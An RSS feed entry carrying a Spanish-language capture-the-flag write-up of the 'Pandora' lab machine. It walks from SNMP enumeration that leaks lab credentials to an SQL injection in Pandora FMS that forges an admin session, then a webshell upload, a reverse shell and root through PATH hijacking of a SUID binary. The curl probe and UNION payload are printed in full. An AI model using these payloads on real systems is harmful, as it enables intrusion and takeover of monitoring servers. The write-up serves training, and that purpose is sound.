<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>PATH Hijacking on</title><link>https://synacklabs.github.io/tags/path-hijacking/</link><description>Recent content in PATH Hijacking on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Wed, 14 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/path-hijacking/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Pandora (Easy)</title><link>https://synacklabs.github.io/posts/pandora/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/pandora/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-a888-ea6d255529dd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Enumeración TCP&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Play | Landing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.&lt;/p&gt;
&lt;p&gt;Enumeración UDP&lt;/p&gt;
&lt;p&gt;Siguiendo la pista, enumeramos UDP y encontramos &lt;strong&gt;SNMP&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;161&lt;/span&gt;/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notas rápidas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SNMP suele usarse para monitorización y gestión remota.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt; es una community string típica y, si está expuesta, suele filtrar información sensible.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-snmp-y-acceso-inicial"&gt;Enumeración SNMP y acceso inicial&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;snmpbulkwalk&lt;/code&gt; para volcar información:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;snmpbulkwalk -c public -v2c &lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.11.136
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-803f-8f7b-c15ab2e47c27.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la salida aparecen credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;daniel:HotelBabylon23&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con estas credenciales entramos por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c4-b98a-f2d6b615e3cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="post-explotación-usuario-y-pivote-a-servicio-interno"&gt;Post-explotación (usuario) y pivote a servicio interno&lt;/h3&gt;
&lt;p&gt;Dentro, al revisar directorios, vemos que &lt;code&gt;user.txt&lt;/code&gt; pertenece a &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user.txt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Necesitamos escalar o conseguir acceso como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Durante la enumeración detectamos otra web interna. Hacemos &lt;strong&gt;port forwarding&lt;/strong&gt; del puerto 80 remoto para acceder desde nuestra máquina.&lt;/p&gt;
&lt;p&gt;Intentamos autenticarnos con las credenciales de &lt;code&gt;daniel&lt;/code&gt; y no funciona.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-809a-8776-eee07a29e27f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sqli-en-pandora-fms-chart_generatorphp"&gt;SQLi en Pandora FMS (chart_generator.php)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/"&gt;Pandora FMS 742: Critical Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Probamos el endpoint vulnerable para confirmar la inyección:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -sG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/pandora_console/include/chart_generator.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --data-urlencode &lt;span style="color:#e6db74"&gt;&amp;#34;session_id=&amp;#39;&amp;#34;&lt;/span&gt; | head &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Identificamos que es una &lt;strong&gt;SQLi error-based&lt;/strong&gt; en una consulta del estilo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; tsessions_php &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id_session&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$session_id&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIMIT&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b4-9367-da3da557d777.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Determinar número de columnas&lt;/p&gt;
&lt;p&gt;Probando &lt;code&gt;UNION SELECT&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Con 1 y 2 columnas falla.&lt;/li&gt;
&lt;li&gt;Con 3 columnas devuelve HTML correctamente.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Conclusión: la tabla devuelve &lt;strong&gt;3 columnas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dumpeo con sqlmap&lt;/p&gt;
&lt;p&gt;Usamos &lt;code&gt;sqlmap&lt;/code&gt; para extraer contenido de &lt;code&gt;tsessions_php&lt;/code&gt; y encontramos una sesión de &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8069-bf6f-e5390d2999c4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;g4e01qdgk36mfdh90hvcc54umq&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id_usuario&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;matt&amp;#34;&lt;/span&gt;;&lt;span style="color:#a6e22e"&gt;alert_msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;{}&lt;span style="color:#a6e22e"&gt;new_chat&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1638796349&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esa sesión obtenemos acceso al panel como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8073-b667-fc11ce39992d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-admin-secuestro-de-sesión"&gt;Escalada a admin (secuestro de sesión)&lt;/h3&gt;
&lt;p&gt;Como &lt;code&gt;matt&lt;/code&gt; no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;session_id=&amp;#39; union select 1,2,&amp;#39;id_usuario|s:5:&amp;#34;admin&amp;#34;;&amp;#39;-- -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos devuelve un &lt;code&gt;id_session&lt;/code&gt; válido para &lt;strong&gt;admin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b1-9136-d933ed89e7c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="rce-subida-de-webshell"&gt;RCE: subida de webshell&lt;/h3&gt;
&lt;p&gt;Con sesión de admin subimos una &lt;code&gt;shell.php&lt;/code&gt;. En el sistema aparece en:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/www/pandora/pandora_console/images/shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8077-a821-e5a38a46835f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8098-87fd-e1cca529a643.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-path-hijacking-en-binario-suid"&gt;Escalada a root (PATH hijacking en binario SUID)&lt;/h3&gt;
&lt;p&gt;Enumeramos binarios SUID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Destaca &lt;code&gt;/usr/bin/pandora_backup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Al inspeccionar el binario se aprecia que invoca &lt;code&gt;tar&lt;/code&gt; &lt;strong&gt;sin ruta absoluta&lt;/strong&gt;. Esto permite &lt;strong&gt;PATH hijacking&lt;/strong&gt;: si controlamos &lt;code&gt;PATH&lt;/code&gt; y colocamos un ejecutable llamado &lt;code&gt;tar&lt;/code&gt; antes que el real, el binario SUID ejecutará nuestro payload como root.&lt;/p&gt;
&lt;p&gt;Ejecución&lt;/p&gt;
&lt;p&gt;Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80db-837c-fbaf4797849e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Una vez ajustado el &lt;code&gt;PATH&lt;/code&gt; y ejecutado &lt;code&gt;pandora_backup&lt;/code&gt;, obtenemos ejecución como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>